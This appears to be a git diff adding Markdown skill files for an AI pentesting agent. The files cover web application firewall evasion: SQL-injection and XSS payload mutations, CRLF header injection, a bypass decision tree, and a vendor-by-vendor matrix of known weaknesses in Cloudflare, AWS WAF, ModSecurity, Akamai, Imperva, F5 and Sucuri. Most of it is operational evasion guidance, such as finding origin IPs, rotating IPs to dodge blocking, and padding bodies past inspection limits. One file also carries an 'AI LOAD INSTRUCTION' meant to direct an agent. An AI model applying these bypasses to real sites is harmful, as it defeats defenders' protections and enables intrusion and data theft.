------WAFBypass--
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.
|
|
165
|
+
|
|
166
|
+
### 2.9 Newline & Whitespace Injection
|
|
167
|
+
|
|
168
|
+
```sql
|
|
169
|
+
-- SQL keyword splitting
|
|
170
|
+
SEL
|
|
171
|
+
ECT * FROM users
|
|
172
|
+
|
|
173
|
+
-- SQL comment insertion
|
|
174
|
+
SEL/**/ECT * FR/**/OM users
|
|
175
|
+
UN/**/ION SEL/**/ECT 1,2,3
|
|
176
|
+
|
|
177
|
+
-- Tab/vertical tab as separator
|
|
178
|
+
SELECT\t*\tFROM\tusers
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
### 2.10 Keyword Splitting & Alternative Syntax
|
|
182
|
+
|
|
183
|
+
| Blocked | Alternative |
|
|
184
|
+
|---|---|
|
|
185
|
+
| `UNION SELECT` | `UNION ALL SELECT`, `UNION DISTINCT SELECT` |
|
|
186
|
+
| `OR 1=1` | `OR 2>1`, `OR 'a'='a'`, `||1` |
|
|
187
|
+
| `<script>` | `<svg/onload=alert(1)>`, `<img src=x onerror=alert(1)>` |
|
|
188
|
+
| `alert(1)` | `prompt(1)`, `confirm(1)`, `print()` (Chrome) |
|
|
189
|
+
| `eval()` | `Function('code')()`, `setTimeout('code',0)` |
|
|
190
|
+
| `' OR '1'='1` | `' OR 1-- -`, `'\|\|'1` |
|
|
191
|
+
| `SLEEP(5)` | `BENCHMARK(5000000,SHA1('x'))`, `pg_sleep(5)` |
|
|
192
|
+
|
|
193
|
+
---
|
|
194
|
+
|
|
195
|
+
## 3. PROTOCOL-LEVEL BYPASS TECHNIQUES
|
|
196
|
+
|
|
197
|
+
### 3.1 Request Line Abuse
|
|
198
|
+
|
|
199
|
+
```http
|
|
200
|
+
GET /path?q=attack HTTP/1.1 ← WAF inspects
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
vs.
|
|
204
|
+
|
|
205
|
+
```http
|
|
206
|
+
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
### 3.2 Header Injection via CRLF
|
|
210
|
+
|
|
211
|
+
If WAF inspects original headers but app processes injected ones:
|
|
212
|
+
|
|
213
|
+
```
|
|
214
|
+
X-Custom: value\r\nX-Forwarded-For: 127.0.0.1
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### 3.3 Connection-State Bypass
|
|
218
|
+
|
|
219
|
+
```
|
|
220
|
+
1. Establish connection through WAF (normal request)
|
|
221
|
+
2. On same keep-alive connection, send attack request
|
|
222
|
+
3. Some WAFs reduce inspection on subsequent requests in same connection
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## 4. WAF BYPASS DECISION TREE
|
|
228
|
+
|
|
229
|
+
```
|
|
230
|
+
Payload blocked by WAF?
|
|
231
|
+
├── Identify WAF (wafw00f, response headers, block page)
|
|
232
|
+
│
|
|
233
|
+
├── Try encoding bypasses
|
|
234
|
+
│ ├── URL encode payload → still blocked?
|
|
235
|
+
│ ├── Double URL encode → still blocked?
|
|
236
|
+
│ ├── Unicode/overlong UTF-8 → still blocked?
|
|
237
|
+
│ ├── Mixed case keywords → still blocked?
|
|
238
|
+
│ └── HTML entities (for XSS) → still blocked?
|
|
239
|
+
│
|
|
240
|
+
├── Try protocol-level bypasses
|
|
241
|
+
│ ├── Switch Content-Type (JSON, multipart, XML)
|
|
242
|
+
│ │ └── App accepts alternate format? → re-send payload
|
|
243
|
+
│ ├── HTTP Parameter Pollution (duplicate params)
|
|
244
|
+
│ ├── Chunked Transfer-Encoding to split payload
|
|
245
|
+
│ ├── HTTP/2 direct if available (binary framing bypass)
|
|
246
|
+
│ └── Request line: absolute URI format
|
|
247
|
+
│
|
|
248
|
+
├── Try path-based bypasses
|
|
249
|
+
│ ├── Path normalization (/./path, //path, ;param)
|
|
250
|
+
│ ├── Different HTTP method (POST vs PUT vs PATCH)
|
|
251
|
+
│ └── Alternate endpoint serving same function
|
|
252
|
+
│
|
|
253
|
+
├── Try payload mutation
|
|
254
|
+
│ ├── SQL: comments (/**/), alternative functions, hex literals
|
|
255
|
+
│ ├── XSS: alternative tags/events, JS template literals
|
|
256
|
+
│ ├── RCE: wildcard abuse, string concatenation, variable expansion
|
|
257
|
+
│ └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
|
|
258
|
+
│
|
|
259
|
+
├── Try IP-source bypass
|
|
260
|
+
│ ├── X-Forwarded-For / True-Client-IP spoofing
|
|
261
|
+
│ ├── Access origin server directly (bypass CDN)
|
|
262
|
+
│ └── Find origin IP (Shodan, historical DNS, email headers)
|
|
263
|
+
│
|
|
264
|
+
└── Try request smuggling to skip WAF entirely
|
|
265
|
+
└── See ../request-smuggling/SKILL.md
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## 5. COMMON MISTAKES & TRICK NOTES
|
|
271
|
+
|
|
272
|
+
1. **Test bypass with actual exploitation, not just 200 OK**: WAF may return 200 but strip the payload silently.
|
|
273
|
+
2. **WAFs often have size limits**: Very large request bodies (>8KB–128KB depending on WAF) may bypass inspection entirely.
|
|
274
|
+
3. **Rate limiting ≠ WAF**: Getting 429s is rate limiting, not payload blocking. Different bypass needed.
|
|
275
|
+
4. **CDN caching**: If the WAF is at CDN level, cached responses bypass WAF on subsequent requests. Poison cache with clean request, exploit cache.
|
|
276
|
+
5. **Origin server direct access**: If you find the origin IP behind CDN/WAF, connect directly — WAF is bypassed completely.
|
|
277
|
+
6. **Multipart file upload fields**: WAFs often skip inspection of file content in multipart uploads — embed payload in filename or file content if reflected.
|
|
278
|
+
|
|
279
|
+
---
|
|
280
|
+
|
|
281
|
+
## 6. DEFENSE PERSPECTIVE
|
|
282
|
+
|
|
283
|
+
| Measure | Notes |
|
|
284
|
+
|---|---|
|
|
285
|
+
| WAF + application-level input validation | WAF is a layer, not a fix |
|
|
286
|
+
| Parameterized queries | Eliminates SQLi regardless of WAF |
|
|
287
|
+
| CSP + output encoding | Eliminates XSS regardless of WAF |
|
|
288
|
+
| Regularly update WAF rules | Vendor signatures lag behind new bypasses |
|
|
289
|
+
| Deny by default, not block-list | Allowlist valid input patterns |
|
|
290
|
+
| Log and alert on WAF blocks | Bypass attempts are visible in logs |
|
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
# WAF Product Bypass Matrix
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you've identified the specific WAF product and need product-targeted bypass techniques. Assumes the main [SKILL.md](./SKILL.md) is already loaded for generic bypass methodology.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. Cloudflare WAF
|
|
8
|
+
|
|
9
|
+
### Detection
|
|
10
|
+
|
|
11
|
+
- `cf-ray` header, `Server: cloudflare`, block page references "Cloudflare"
|
|
12
|
+
- Cookie: `__cfduid`, `__cf_bm`
|
|
13
|
+
|
|
14
|
+
### Known Bypass Techniques
|
|
15
|
+
|
|
16
|
+
| Category | Technique |
|
|
17
|
+
|---|---|
|
|
18
|
+
| Unicode normalization | Cloudflare normalizes Unicode differently than backend — `<script>` (fullwidth) may pass WAF but render as `<script>` |
|
|
19
|
+
| Chunked body | Split payloads across HTTP chunks; Cloudflare may not reassemble before inspection |
|
|
20
|
+
| Payload mutation (SQLi) | `/*!50000UniOn*/SeLeCt` — MySQL version comments bypass keyword matching |
|
|
21
|
+
| Payload mutation (XSS) | `<svg/onload=alert(1)>`, `<details open ontoggle=alert(1)>` |
|
|
22
|
+
| Origin direct access | Find origin IP via DNS history, Shodan `ssl.cert.subject.cn:target.com`, email headers |
|
|
23
|
+
| JSON body | Switch from form-urlencoded to JSON — different parser, weaker rules |
|
|
24
|
+
| Super-long parameter names | Parameter name >128 chars may cause Cloudflare to skip inspection |
|
|
25
|
+
|
|
26
|
+
### Cloudflare-Specific Notes
|
|
27
|
+
|
|
28
|
+
- Cloudflare has multiple WAF modes: "Managed Rules" (Cloudflare-authored) and "OWASP ModSecurity Core Rule Set". Each has different bypass surfaces.
|
|
29
|
+
- Cloudflare's free-tier WAF has significantly fewer rules than Business/Enterprise.
|
|
30
|
+
- Browser Integrity Check and Bot Management are separate from WAF — don't confuse them.
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## 2. AWS WAF
|
|
35
|
+
|
|
36
|
+
### Detection
|
|
37
|
+
|
|
38
|
+
- `x-amzn-requestid` header, runs in front of ALB/CloudFront/API Gateway
|
|
39
|
+
- Block response often returns 403 with JSON body or custom error page
|
|
40
|
+
|
|
41
|
+
### Known Bypass Techniques
|
|
42
|
+
|
|
43
|
+
| Category | Technique |
|
|
44
|
+
|---|---|
|
|
45
|
+
| Regex complexity | AWS WAF regex rules have execution time limits — complex input can cause regex to timeout → request passes |
|
|
46
|
+
| Size limits | AWS WAF inspects first 8KB of body (16KB for CloudFront). Payload after this boundary is uninspected |
|
|
47
|
+
| Custom rule gaps | Default AWS Managed Rules miss many edge cases; custom rules often have logic errors |
|
|
48
|
+
| JSON depth | Deeply nested JSON objects may exceed parser depth limits |
|
|
49
|
+
| Base64 in parameters | AWS WAF doesn't auto-decode Base64 in parameter values (unless custom transform configured) |
|
|
50
|
+
| URI vs body rules | Rules may cover URI but not body, or vice versa — test both |
|
|
51
|
+
|
|
52
|
+
### AWS WAF-Specific Notes
|
|
53
|
+
|
|
54
|
+
- AWS WAF v2 (WAFV2) has `SizeConstraintStatement` — bodies over the size limit are either blocked or allowed, depending on config. If "allow on oversize", pad payload beyond 8KB.
|
|
55
|
+
- AWS Managed Rule Groups update regularly but lag behind novel attack patterns.
|
|
56
|
+
- IP reputation lists may be stale — new IPs from cloud providers often aren't listed.
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
## 3. ModSecurity + OWASP CRS
|
|
61
|
+
|
|
62
|
+
### Detection
|
|
63
|
+
|
|
64
|
+
- `Server: Apache` or `nginx` with ModSecurity module
|
|
65
|
+
- Block page: "ModSecurity" reference, or generic 403
|
|
66
|
+
- Error contains rule ID (e.g., `id:942100`)
|
|
67
|
+
|
|
68
|
+
### Known Bypass Techniques
|
|
69
|
+
|
|
70
|
+
| Category | Technique |
|
|
71
|
+
|---|---|
|
|
72
|
+
| Paranoia Level (PL) gaps | PL1 (default) has minimal rules; PL2-4 progressively stricter. Most deployments run PL1-2, missing many attack patterns |
|
|
73
|
+
| Rule ID specific bypass | Each rule targets specific patterns — identify blocking rule ID from error, craft bypass for that specific regex |
|
|
74
|
+
| SQL comment injection | `/*! ... */` MySQL conditional comments bypass many CRS SQLi rules |
|
|
75
|
+
| Unicode in PL1 | PL1 doesn't check Unicode-encoded payloads: `%u0027` for `'` |
|
|
76
|
+
| Transformation order | CRS applies `t:urlDecodeUni,t:htmlEntityDecode` but not all transformations on all rules |
|
|
77
|
+
| Multipart parser | CRS multipart parsing can be confused by malformed boundaries |
|
|
78
|
+
| Request body limit | `SecRequestBodyLimit` default is 13MB — but `SecRequestBodyNoFilesLimit` is only 128KB (changeable). Payloads in file upload fields bypass body rules if only `NoFiles` limit is enforced |
|
|
79
|
+
|
|
80
|
+
### CRS-Specific Notes
|
|
81
|
+
|
|
82
|
+
- CRS v4 (2023+) significantly improved coverage vs v3. Check target's CRS version.
|
|
83
|
+
- Anomaly scoring mode: individual rule violations add to score, blocked only if total exceeds threshold. Keep individual violations below detection but accumulate effect.
|
|
84
|
+
- `SecRuleRemoveById` directives in config may disable specific rules — test for holes.
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## 4. Akamai (Kona Site Defender / App & API Protector)
|
|
89
|
+
|
|
90
|
+
### Detection
|
|
91
|
+
|
|
92
|
+
- `Server: AkamaiGHost`, `x-akamai-*` headers
|
|
93
|
+
- Error reference number in block page
|
|
94
|
+
|
|
95
|
+
### Known Bypass Techniques
|
|
96
|
+
|
|
97
|
+
| Category | Technique |
|
|
98
|
+
|---|---|
|
|
99
|
+
| Header injection | Akamai processes certain headers differently; `X-Forwarded-Host` injection can confuse routing |
|
|
100
|
+
| Encoding chains | Triple encoding or mixed encoding (URL + Unicode + HTML) |
|
|
101
|
+
| JSON body bypass | Akamai's JSON parser may not inspect deeply nested objects |
|
|
102
|
+
| Slow POST | Akamai has timeout-based protections; slow delivery may cause incomplete inspection |
|
|
103
|
+
| HTTP/2 push | H2 server push responses may bypass WAF inspection |
|
|
104
|
+
| IP rotation | Akamai rate limits per IP; rotating source IPs avoids behavioral blocks |
|
|
105
|
+
|
|
106
|
+
### Akamai-Specific Notes
|
|
107
|
+
|
|
108
|
+
- Akamai has "Adaptive Security Engine" — it learns application behavior. New attack patterns that don't match learned behavior may bypass initially.
|
|
109
|
+
- Penalty box: after triggering Akamai WAF, your IP may be rate-limited for minutes. Use fresh IP for each test.
|
|
110
|
+
- Akamai Pragma headers (`Pragma: akamai-x-check-cacheable`) can leak internal routing information useful for understanding the setup.
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## 5. Imperva / Incapsula
|
|
115
|
+
|
|
116
|
+
### Detection
|
|
117
|
+
|
|
118
|
+
- `X-CDN: Imperva`, `Set-Cookie: incap_ses_*`, `visid_incap_*`
|
|
119
|
+
- Block page: "Powered by Incapsula" or Imperva branding
|
|
120
|
+
|
|
121
|
+
### Known Bypass Techniques
|
|
122
|
+
|
|
123
|
+
| Category | Technique |
|
|
124
|
+
|---|---|
|
|
125
|
+
| Parameter pollution | Duplicate parameters: Imperva inspects one occurrence, app processes another |
|
|
126
|
+
| JSON deep nesting | `{"a":{"b":{"c":{"d":"payload"}}}}` — deeply nested JSON exceeds parser depth |
|
|
127
|
+
| Multipart abuse | Malformed multipart boundaries confuse Imperva's parser |
|
|
128
|
+
| UTF-8 BOM injection | `\xEF\xBB\xBF` at start of body may shift parser alignment |
|
|
129
|
+
| Large Cookie header | Extremely long Cookie headers may cause truncated inspection |
|
|
130
|
+
| WebSocket upgrade | After WebSocket upgrade, subsequent traffic may bypass WAF inspection |
|
|
131
|
+
|
|
132
|
+
### Imperva-Specific Notes
|
|
133
|
+
|
|
134
|
+
- Imperva has "Client Classification" — browser fingerprinting. Headless browsers may be blocked before WAF rules even apply. Use real browser fingerprints.
|
|
135
|
+
- Imperva's API security module is separate from web WAF — API endpoints may have weaker protection.
|
|
136
|
+
- Custom rules in Imperva use "IncapRule" syntax — misconfigurations are common.
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## 6. F5 BIG-IP ASM / Advanced WAF
|
|
141
|
+
|
|
142
|
+
### Detection
|
|
143
|
+
|
|
144
|
+
- `Server: BigIP`, `BIGipServer` cookie, `TS` cookie prefix
|
|
145
|
+
- Block page: "The requested URL was rejected" with support ID
|
|
146
|
+
|
|
147
|
+
### Known Bypass Techniques
|
|
148
|
+
|
|
149
|
+
| Category | Technique |
|
|
150
|
+
|---|---|
|
|
151
|
+
| Serialized format bypass | ASM has weak inspection of serialized data (Java, PHP, .NET serialization) |
|
|
152
|
+
| JSON/XML content switching | Switch between JSON and XML — ASM may have different rule sets per content type |
|
|
153
|
+
| Parameter meta-characters | ASM's "meta-character enforcement" can be bypassed with double encoding |
|
|
154
|
+
| Cookie manipulation | ASM sets tracking cookies; modifying them can cause session tracking issues that affect rule application |
|
|
155
|
+
| Evasion techniques | ASM has explicit "evasion detection" for directory traversal, multiple encoding, etc. But combinations of techniques may still bypass |
|
|
156
|
+
| Learning mode exploitation | If ASM is in "transparent" (learning) mode, no blocking occurs — test with obviously malicious payload first |
|
|
157
|
+
|
|
158
|
+
### F5-Specific Notes
|
|
159
|
+
|
|
160
|
+
- BIG-IP ASM distinguishes between "attack signatures" and "violations". Signatures are pattern-based; violations are structural (parameter length, data type). Both must be bypassed.
|
|
161
|
+
- ASM's "Bot Defense" module is separate and can be detected via JavaScript challenge injection.
|
|
162
|
+
- The `TS` cookie contains session data — tampering with it causes ASM to treat the request as a new session.
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
## 7. Sucuri WAF
|
|
167
|
+
|
|
168
|
+
### Detection
|
|
169
|
+
|
|
170
|
+
- `Server: Sucuri/Cloudproxy`, `X-Sucuri-ID` header
|
|
171
|
+
- Block page: "Access Denied - Sucuri Website Firewall"
|
|
172
|
+
|
|
173
|
+
### Known Bypass Techniques
|
|
174
|
+
|
|
175
|
+
| Category | Technique |
|
|
176
|
+
|---|---|
|
|
177
|
+
| Tag/event combos | Sucuri blocks common XSS tags but may miss: `<svg/onload>`, `<details/ontoggle>`, `<marquee onstart>` |
|
|
178
|
+
| SQL function alternatives | `MID()` instead of `SUBSTRING()`, `CONV()` for hex conversion |
|
|
179
|
+
| Path traversal encoding | `..%252f..%252f` (double URL encode) for directory traversal |
|
|
180
|
+
| Origin direct access | Sucuri is a reverse proxy; origin IP discovery bypasses it entirely |
|
|
181
|
+
| HTTP method switch | Sucuri may have different rules for GET vs POST vs PUT |
|
|
182
|
+
| Null byte injection | `%00` in parameter values may truncate Sucuri's inspection |
|
|
183
|
+
|
|
184
|
+
### Sucuri-Specific Notes
|
|
185
|
+
|
|
186
|
+
- Sucuri is common on WordPress sites — combine with WordPress-specific attack vectors.
|
|
187
|
+
- Sucuri's "Hardening" features (block PHP in uploads, etc.) are separate from WAF rules.
|
|
188
|
+
- Free Sucuri tier has significantly weaker WAF rules than paid tiers.
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## 8. QUICK REFERENCE — BYPASS-BY-WAF CHEAT SHEET
|
|
193
|
+
|
|
194
|
+
| WAF | Top Bypass Vector | Size Limit | Key Weakness |
|
|
195
|
+
|---|---|---|---|
|
|
196
|
+
| Cloudflare | Unicode normalization + origin IP | 128KB | Fullwidth chars, free tier gaps |
|
|
197
|
+
| AWS WAF | Body size > 8KB | 8KB (body) | Size limit bypass, regex timeout |
|
|
198
|
+
| ModSecurity CRS | PL1 gaps + MySQL comments | Configurable | Low paranoia defaults |
|
|
199
|
+
| Akamai | Encoding chains + slow POST | Varies | Adaptive engine learning delay |
|
|
200
|
+
| Imperva | HPP + JSON nesting | Unknown | Parameter pollution |
|
|
201
|
+
| F5 BIG-IP | Serialized data + learning mode | Configurable | Weak serialization inspection |
|
|
202
|
+
| Sucuri | Origin IP + alt tags | Unknown | WordPress-centric rules |
|